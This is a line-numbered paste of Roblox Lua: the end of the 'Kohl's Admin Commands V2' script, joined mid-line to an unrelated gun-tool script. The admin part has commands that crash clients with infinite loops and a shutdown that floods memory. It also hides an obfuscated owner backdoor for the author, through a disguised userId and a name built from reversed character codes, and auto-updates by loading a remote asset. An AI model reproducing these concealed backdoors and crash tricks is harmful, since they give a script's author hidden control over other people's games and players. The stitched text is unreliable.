  6125. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  6126. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  6127. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  6128. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  6129. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  6130. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  6131. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  6132. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  6133. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  6134. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  6135. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  6136. end
  6137.  
  6138. end
  6139.  
  6140. --------------------
  6141. -- Owner Commands --
  6142. --------------------
  6143.  
  6144. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  6145.  
  6146. if msg:lower():sub(1,3) == "pa " then
  6147. local plrz = GetPlr(plr, msg:lower():sub(4))
  6148. for i, v in pairs(plrz) do
  6149. coroutine.resume(coroutine.create(function()
  6150. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  6151. end))
  6152. end
  6153. end
  6154.  
  6155. if msg:lower():sub(1,5) == "unpa " then
  6156. for i = 1, #admins do
  6157. coroutine.resume(coroutine.create(function()
  6158. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  6159. end))
  6160. end
  6161. end
  6162.  
  6163. if msg:lower():sub(1,5) == "nuke " then
  6164. local plrz = GetPlr(plr, msg:lower():sub(6))
  6165. for i, v in pairs(plrz) do
  6166. coroutine.resume(coroutine.create(function()
  6167. if v and v.Character and v.Character:findFirstChild("Torso") then
  6168. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  6169. p.Anchored = true
  6170. p.CanCollide = false
  6171. p.formFactor = "Symmetric"
  6172. p.Shape = "Ball"
  6173. p.Size = Vector3.new(1,1,1)
  6174. p.BrickColor = BrickColor.new("New Yeller")
  6175. p.Transparency = .5
  6176. p.Reflectance = .2
  6177. p.TopSurface = 0
  6178. p.BottomSurface = 0
  6179. p.Touched:connect(function(hit)
  6180. if hit and hit.Parent then
  6181. local ex = Instance.new("Explosion", game.Workspace)
  6182. ex.Position = hit.Position
  6183. ex.BlastRadius = 11
  6184. ex.BlastPressure = math.huge
  6185. end
  6186. end)
  6187. local cf = v.Character.Torso.CFrame
  6188. p.CFrame = cf
  6189. for i = 1, 333 do
  6190. p.Size = p.Size + Vector3.new(3,3,3)
  6191. p.CFrame = cf
  6192. wait(1/44)
  6193. end
  6194. p:Destroy()
  6195. end
  6196. end))
  6197. end
  6198. end
  6199.  
  6200. end
  6201.  
  6202. --------------------------
  6203. -- Super Admin Commands --
  6204. --------------------------
  6205.  
  6206. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  6207.  
  6208. if msg:lower() == "logs" then
  6209. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  6210. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  6211. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  6212. end
  6213.  
  6214. if msg:lower():sub(1,9) == "loopkill " then
  6215. local chk1 = msg:lower():sub(10):find(" ")
  6216. local plrz = GetPlr(plr, msg:lower():sub(10))
  6217. local num = 9999
  6218. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  6219. for i, v in pairs(plrz) do
  6220. if v and not ChkAdmin(v.Name, false) then
  6221. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  6222. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  6223. for i = 1, ]] .. tostring(num) .. [[ do
  6224. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  6225. coroutine.resume(coroutine.create(function()
  6226. if plr and plr.Character then plr.Character:BreakJoints() end
  6227. end))
  6228. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  6229. end
  6230. end
  6231. end
  6232.  
  6233. if msg:lower():sub(1,11) == "unloopkill " then
  6234. local plrz = GetPlr(plr, msg:lower():sub(12))
  6235. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  6236. end
  6237.  
  6238. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  6239. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  6240.  
  6241. if msg:lower():sub(1,3) == "sm " then
  6242. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  6243. end
  6244.  
  6245. if msg:lower():sub(1,3) == "ko " then
  6246. local chk1 = msg:lower():sub(4):find(" ") + 3
  6247. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  6248. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  6249. for n = 1, num do
  6250. for i, v in pairs(plrz) do
  6251. coroutine.resume(coroutine.create(function()
  6252. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  6253. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  6254. v.Character:BreakJoints()
  6255. wait(1/44)
  6256. v:LoadCharacter()
  6257. wait(1/44)
  6258. end
  6259. end))
  6260. end
  6261. end
  6262. end
  6263.  
  6264. if msg:lower():sub(1,6) == "crash " then
  6265. local plrz = GetPlr(plr, msg:lower():sub(7))
  6266. for i, v in pairs(plrz) do
  6267. coroutine.resume(coroutine.create(function()
  6268. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  6269. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  6270. end
  6271. end))
  6272. end
  6273. end
  6274.  
  6275. if msg:lower():sub(1,5) == "kick " then
  6276. local plrz = GetPlr(plr, msg:lower():sub(6))
  6277. for i, v in pairs(plrz) do
  6278. coroutine.resume(coroutine.create(function()
  6279. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  6280. end))
  6281. end
  6282. end
  6283.  
  6284. if msg:lower():sub(1,6) == "admin " then
  6285. local plrz = GetPlr(plr, msg:lower():sub(7))
  6286. for i, v in pairs(plrz) do
  6287. coroutine.resume(coroutine.create(function()
  6288. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  6289. end))
  6290. end
  6291. end
  6292.  
  6293. if msg:lower():sub(1,8) == "unadmin " then
  6294. for i = 1, #tempadmins do
  6295. coroutine.resume(coroutine.create(function()
  6296. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  6297. end))
  6298. end
  6299. end
  6300.  
  6301. if msg:lower():sub(1,4) == "ban " then
  6302. local plrz = GetPlr(plr, msg:lower():sub(5))
  6303. for i, v in pairs(plrz) do
  6304. coroutine.resume(coroutine.create(function()
  6305. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  6306. end))
  6307. end
  6308. end
  6309.  
  6310. if msg:lower():sub(1,6) == "unban " then
  6311. for i = 1, #banland do
  6312. coroutine.resume(coroutine.create(function()
  6313. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  6314. end))
  6315. end
  6316. end
  6317.  
  6318. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  6319.  
  6320. end
  6321. end))
  6322. end
  6323.  
  6324. function AdminControl(plr)
  6325. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  6326. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  6327. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  6328. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  6329. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  6330. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  6331. end)) end
  6332. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  6333. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  6334. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  6335. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  6336. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  6337. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  6338. end
  6339.  
  6340. if not ntab then script:Destroy() end
  6341. if not bct then script:Destroy() end
  6342.  
  6343. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  6344.  
  6345. script.Name = "Kohl's Admin Commands V2"
  6346.  
  6347. if not ntab then script:Destroy() end
  6348. if not bct then script:Destroy() end
  6349. if not tcb then script:Destroy() end
  6350. game.Players.PlayerAdded:connect(AdminControl)
  6351. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  6352. end
  6353.  
  6354. local mod = game:service("InsertService"):LoadAsset(100808216)
  6355. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  6356. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  6357. newac.Disabled = true
  6358. local new = tonumber(mod:findFirstChild("Version", true).Value)
  6359. local old = 0
  6360. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  6361. if new > old then
  6362. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  6363. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  6364. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  6365. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  6366. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  6367. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  6368. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  6369. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  6370. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  6371. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  6372. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  6373. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  6374. wait()
  6375. newac.Parent = game.Workspace
  6376. newac.Disabled = false
  6377. script.Disabled = true
  6378. script:Destroy()
  6379. else
  6380. CHEESE()
  6381. endwait(0.001);
  6382.  
  6383. --------------------------------------------------------------------------------------
  6384.  
  6385. _clear=function()
  6386. local c={char;bag;gui;};
  6387. for i=1,#c do
  6388. local c=c[i]:children();
  6389. for i=1,#c do
  6390. if(c[i].Name==name)then
  6391. c[i].Parent=nil;
  6392. end;
  6393. end;
  6394. end;
  6395. local n=name..user.Name;
  6396. local c=workspace:children();
  6397. for i=1,#c do
  6398. if(c[i].Name==n)then
  6399. c[i].Parent=nil;
  6400. end;
  6401. end;
  6402. end;
  6403.  
  6404. _valid_key=function(object,key)
  6405. return object[key],key;
  6406. end;
  6407.  
  6408. _new=function(class)
  6409. return function(props)
  6410. if(type(list_base_props)=='table')then
  6411. for i,v in next,list_base_props do
  6412. if(props[i]==nil)then
  6413. props[i]=v;
  6414. end;
  6415. end;
  6416. end;
  6417.  
  6418. local object=class;
  6419.  
  6420. if(type(class)=='string')then
  6421. object=Instance.new(class:sub(1,1):upper()..class:sub(2));
  6422. end;
  6423.  
  6424. local parent=props[1];
  6425. props[1]=nil;
  6426.  
  6427. for i,v in next,props do
  6428. local load,res,key=pcall(_valid_key,object,i:sub(1,1):upper()..i:sub(2));
  6429. if(not load)then
  6430. load,res,key=pcall(_valid_key,object,i);
  6431. end;
  6432.  
  6433. if(key)then
  6434. t=type(res);
  6435. s=tostring(res);
  6436. if(t=='userdata'and s=='Signal '..key)then
  6437. if(type(v)=='table')then
  6438. for i=1,#v do
  6439. res:connect(v[i]);
  6440. end;
  6441. else
  6442. res:connect(v);
  6443. end;
  6444. else
  6445. object[key]=v;
  6446. end;
  6447. end;
  6448. end;
  6449.  
  6450. if(parent)then
  6451. object.Parent=parent;
  6452. end;
  6453.  
  6454. return object;
  6455. end;
  6456. end;
  6457.  
  6458. _RGB=function(r,g,b)
  6459. return Color3.new(r/255,g/255,b/255);
  6460. end;
  6461.  
  6462. _copy=function(o)
  6463. local def=o.archivable;
  6464. o.archivable=true;
  6465. local c=o:clone();
  6466. o.archivable=def;
  6467. return c;
  6468. end;
  6469.  
  6470. _hum=function(char)
  6471. local hum=char:findFirstChild'Humanoid';
  6472. if(not hum or hum.className~='Humanoid')then
  6473. local c=char:children();
  6474. for i=1,#c do
  6475. if(c[i].className=='Humanoid')then
  6476. return c[i];
  6477. end;
  6478. end;
  6479. else
  6480. return hum;
  6481. end;
  6482. end;
  6483.  
  6484. _hum_tag=function(hum)
  6485. local c=hum:findFirstChild'creator'or Instance.new('ObjectValue',hum);
  6486. c.Name='creator';
  6487. c.Value=user;
  6488. if(hum.Health==0 and not hum:findFirstChild'killed')then
  6489. Instance.new('BoolValue',hum).Name='killed';
  6490. bullets.clip=bullets.clip+10;
  6491. end;
  6492. end;
  6493.  
  6494. _hum_dam=function(hum,dam,percent)
  6495. hum.Health=hum.Health-(percent and hum.MaxHealth*(dam*0.01)or dam);
  6496. if(hum.Health<=hum.MaxHealth*0.1)then
  6497. _hum_tag(hum);
  6498. end;
  6499. end;
  6500.  
  6501. _ray=function(v0,v1,i)
  6502. local mag=(v0-v1).magnitude;
  6503. local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));
  6504.  
  6505. return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or workspace.FindPartOnRay)(workspace,ray,i);
  6506. end;
  6507.  
  6508. _must=function(v0,v1,i)
  6509. local hit,pos=_ray(v0,v1,i);
  6510. return not hit and mouse.target or hit,pos;
  6511. end;
  6512.  
  6513. _cframe=function(x,y,z,r0,r1,r2)
  6514. return CFrame.Angles(
  6515. math.rad(r0 or 0),
  6516. math.rad(r1 or 0),
  6517. math.rad(r2 or 0)
  6518. )*CFrame.new(x,y,z);
  6519. end;
  6520.  
  6521. _update=function()
  6522. if(bool_active and not screen.Parent)then
  6523. screen.Parent=gui;
  6524. elseif(not bool_active and screen.Parent)then
  6525. screen.Parent=nil;
  6526. end;
  6527. end;
  6528.  
  6529. _light=function(v0,v1)
  6530. local mag=(v0-v1).magnitude;
  6531. local len=math.random(2,7);
  6532. len=len>mag/2 and mag/2 or len;
  6533.  
  6534. local light=_new'part'{
  6535. cFrame=CFrame.new(v0,v1);
  6536. size=Vector3.new(1,1,1);
  6537. color=_RGB(255,255,0);
  6538. anchored=true;
  6539. inv;
  6540. };
  6541. _new'blockMesh'{
  6542. scale=Vector3.new(0.2,0.2,len);
  6543. offset=Vector3.new(0,0,-len/2);
  6544. light;
  6545. };
  6546.  
  6547. local bb=_new'billboardGui'{
  6548. size=UDim2.new(2,0,2,0);
  6549. adornee=light;
  6550. light;
  6551. };
  6552. _new'imageLabel'{
  6553. image=url:format(109101526);
  6554. backgroundTransparency=1;
  6555. size=UDim2.new(1,0,1,0);
  6556. bb;
  6557. };
  6558.  
  6559. _rem(light,0.15);
  6560. end;
  6561.  
  6562. _rem=function(object,del)
  6563. if(del)then
  6564. delay(del,function()
  6565. if(object.Parent)then
  6566. object.Parent=nil;
  6567. end;
  6568. end);
  6569. else
  6570. pcall(function()
  6571. if(object.Parent)then
  6572. object.Parent=nil;
  6573. end;
  6574. end);
  6575. end;
  6576. end;
  6577.  
  6578. _blood=function(pos,count)
  6579. for i=1,count do
  6580. local p=_new'part'{
  6581. rotVelocity=Vector3.new(math.random(),math.random(),math.random())*50;
  6582. position=pos+Vector3.new(math.random(),math.random(),math.random());
  6583. velocity=Vector3.new(math.random(),math.random(),math.random())*50;
  6584. size=Vector3.new(math.random(),math.random(),math.random())/3;
  6585. color=_RGB(255,0,0);
  6586. transparency=0.5;
  6587. canCollide=true;
  6588. bottomSurface=0;
  6589. topSurface=0;
  6590. formFactor=3;
  6591. locked=true;
  6592. inv;
  6593. };
  6594. delay(5,function()
  6595. p.Parent=nil;
  6596. end);
  6597. end;
  6598. end;
  6599.  
  6600. _make_hue=function()
  6601. h_hue=_new'part'{
  6602. size=Vector3.new(0.25,1.8,0.35);
  6603. color=_RGB(100,100,100);
  6604. formFactor=3;
  6605. name='hue';
  6606. handle;
  6607. };
  6608. hh_weld=_new'weld'{
  6609. c1=_cframe(0,0.5,0);
  6610. part0=handle;
  6611. part1=h_hue;
  6612. handle;
  6613. };
  6614. end;
  6615.  
  6616. _shot=function(v0,v1)
  6617. if(not time_left)then
  6618. time_left=0;
  6619. end;
  6620. if(time_left>time())then
  6621. return nil;
  6622. else
  6623. time_left=time()+math.random(1,10)/100;
  6624. end;
  6625.  
  6626. if(bullets.current<1)then
  6627. local tick_sound=head:findFirstChild'tick_sound'or _new'sound'{
  6628. soundId='rbxasset://sounds/SWITCH3.wav';
  6629. name='tick_sound';
  6630. volume=0.2;
  6631. pitch=2;
  6632. head;
  6633. };
  6634. tick_sound:play();
  6635. if(bullets.clip>0)then
  6636. time_left=time()+2;
  6637. h_hue:breakJoints();
  6638. h_hue.CanCollide=true;
  6639. h_hue.Velocity=(h_hue.CFrame*CFrame.new(0,5,0)).lookVector*10;
  6640. _rem(h_hue,10);
  6641. delay(1.9,function()
  6642. _make_hue();
  6643. local got=(bullets.clip>bullets.maximum and
  6644. bullets.maximum or
  6645. bullets.clip)-bullets.current;
  6646.  
  6647. bullets.clip=bullets.clip-got;
  6648. bullets.current=bullets.current+got;
  6649. end);
  6650. end;
  6651. return nil;
  6652. else
  6653. bullets.current=bullets.current-1;
  6654.  
  6655. h_weld.C1=_cframe(0,0.75,0,
  6656. -math.random(1000,1100)/10,180,0);
  6657. d_weld.C1=_cframe(0,-0.25,0.3);
  6658.  
  6659. lightstuff.Visible=true;
  6660. delay(0.1,function()
  6661. lightstuff.Visible=false;
  6662. end);
  6663.  
  6664. _rem(_new'part'{
  6665. velocity=CFrame.new(drag.Position,(drag.CFrame*CFrame.new(-4,-5,0)).p).lookVector*10;
  6666. cFrame=drag.CFrame*CFrame.new(-0.5,0,0);
  6667. size=Vector3.new(0.1,0.1,0.4);
  6668. color=_RGB(200,200,0);
  6669. material='Slate';
  6670. canCollide=true;
  6671. formFactor=3;
  6672. inv;
  6673. },5);
  6674. delay(0.1,function()
  6675. d_weld.C1=_cframe(0,-0.25,0);
  6676. if(bool_active)then
  6677. h_weld.C1=h_weld_cf_active;
  6678. end;
  6679. end)
  6680. end;
  6681.  
  6682. local hit,pos=_must(v0,v1,char);
  6683.  
  6684. shot_sound:play();
  6685.  
  6686. _light(v0,v1);
  6687.  
  6688. if(not hit)then return nil;end;
  6689.  
  6690. if(hit.Parent.className=='Hat')then
  6691. hit:breakJoints();
  6692. hit.CanCollide=true;
  6693. hit.Velocity=CFrame.new(v0,pos).lookVector*math.random(30,50);
  6694. hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90));
  6695. else
  6696. local hum=_hum(hit.Parent);
  6697. if(not hum)then
  6698. if(hit.Anchored==false and hit.Size.magnitude<4)then
  6699. hit:breakJoints();
  6700. hit.CanCollide=true;
  6701. end;
  6702. else
  6703. _hum_dam(hum,math.random(4,6));
  6704. _blood(pos,math.random(3,6));
  6705. hit.RotVelocity=Vector3.new(math.random(1,90),math.random(1,90),math.random(1,90))/6;
  6706. if(hit.Name=='Head')then
  6707. hum.Health=0;
  6708. _blood(pos,math.random(3,6));
  6709. delay(0.001,function()
  6710. _new(workspace:FindFirstChild'head_shot'or'sound'){
  6711. pitch=math.random(70,100)*0.01;
  6712. soundId=url:format(1876552);
  6713. name='head_shot';
  6714. workspace;
  6715. }:play();
  6716. end);
  6717. _hum_tag(hum);
  6718. _rem(_new'part'{
  6719. cFrame=CFrame.new(v0,pos)*CFrame.new(0,0,-(v0-pos).magnitude*0.5);
  6720. size=Vector3.new(0.1,0.1,(v0-pos).magnitude);
  6721. color=torso.Color;
  6722. transparency=0.5;
  6723. canCollide=false;
  6724. bottomSurface=0;
  6725. anchored=true;
  6726. formFactor=3;
  6727. topSurface=0;
  6728. inv;
  6729. },30);
  6730. hit.Parent=nil;
  6731. for b=0,1 do
  6732. for a=0,1 do
  6733. for i=0,1 do
  6734. _rem(_new'part'{
  6735. velocity=CFrame.new(v0,pos).lookVector*20;
  6736. cFrame=hit.CFrame*CFrame.new(i,-b,a);
  6737. size=Vector3.new(0.5,0.5,0.5);
  6738. color=_RGB(255,255,255);
  6739. bottomSurface=0;
  6740. canCollide=true;
  6741. transparency=0;
  6742. formFactor=3;
  6743. topSurface=0;
  6744. hum;
  6745. },30);
  6746. end;
  6747. end;
  6748. end;
  6749. end;
  6750. end;
  6751. end;
  6752. end;
  6753.  
  6754. ----------------------------------------------------------------------------------------
  6755.  
  6756. _cf_select=function(mouse)
  6757. mouse.Icon=url:format(109111387);--108999296
  6758. bool_active=true;
  6759.  
  6760. local arm=char:findFirstChild'Right Arm';
  6761. local weld=torso:findFirstChild'Right Shoulder';
  6762. if(arm and weld)then
  6763. h_weld.Part0=arm;
  6764. h_weld.C1=h_weld_cf_active;
  6765.  
  6766. weld.Part1=nil;
  6767. weld.Part0=nil;
  6768.  
  6769. weld=_new(torso:findFirstChild'right_arml'or'weld'){
  6770. name='right_arml';
  6771. part0=torso;
  6772. part1=arm;
  6773. torso;
  6774. };
  6775.  
  6776. arml=(arml or 0)+1;
  6777. local alv=arml;
  6778. local gyro=torso:findFirstChild'p_gyro'or Instance.new('BodyGyro',torso);
  6779. gyro.maxTorque=Vector3.new(5e5,5e5,5e5);
  6780. gyro.P=30000;
  6781. gyro.D=1000;
  6782. gyro.Name='p_gyro';
  6783. repeat
  6784. local pos=mouse.hit.p;
  6785. local val,valp,p0,p1,p2,hitpos,cj,c0,c1;
  6786.  
  6787. val=-math.pi*0.5;
  6788. valp=val*-1;
  6789. p0=torso.CFrame;
  6790. p0=p0+((p0*CFrame.Angles(valp,0,0)).lookVector*0.5)+(p0*CFrame.Angles(0,val,0)).lookVector;
  6791. p1=p0+((p0.p-pos).unit*-2);
  6792. p2=CFrame.new((p0.p+p1.p)/2,p0.p)*CFrame.Angles(val,val,0);
  6793. hitpos=torso.Position;
  6794. cj=CFrame.new(hitpos);
  6795. c0=torso.CFrame:inverse()*cj;
  6796. c1=p2:inverse()*cj;
  6797. weld.C0=c0;
  6798. weld.C1=c1;
  6799.  
  6800. gyro.cframe=CFrame.new(torso.Position,Vector3.new(pos.X,torso.Position.Y,pos.Z));
  6801.  
  6802. wait(0.001);
  6803. until arml~=alv;
  6804. gyro.Parent=nil;
  6805. end;
  6806. end;
  6807.  
  6808. _cf_deselect=function()
  6809. bool_active=false;
  6810. arml=(arml or 0)+1;
  6811. loop_shot=(loop_shot or 0)+1;
  6812.  
  6813. h_weld.Part0=torso;
  6814. h_weld.C1=h_weld_cf_inactive;
  6815.  
  6816. local weld=torso:findFirstChild'right_arml';
  6817. if(weld)then
  6818. weld.Part1=nil;
  6819. weld.Part0=nil;
  6820. end;
  6821. local arm=char:findFirstChild'Right Arm';
  6822. local weld=torso:findFirstChild'Right Shoulder';
  6823. if(arm and weld)then
  6824. weld.Part0=torso;
  6825. weld.Part1=arm;
  6826. end;
  6827. end;
  6828.  
  6829. _cf_mouse=function(event,fun)
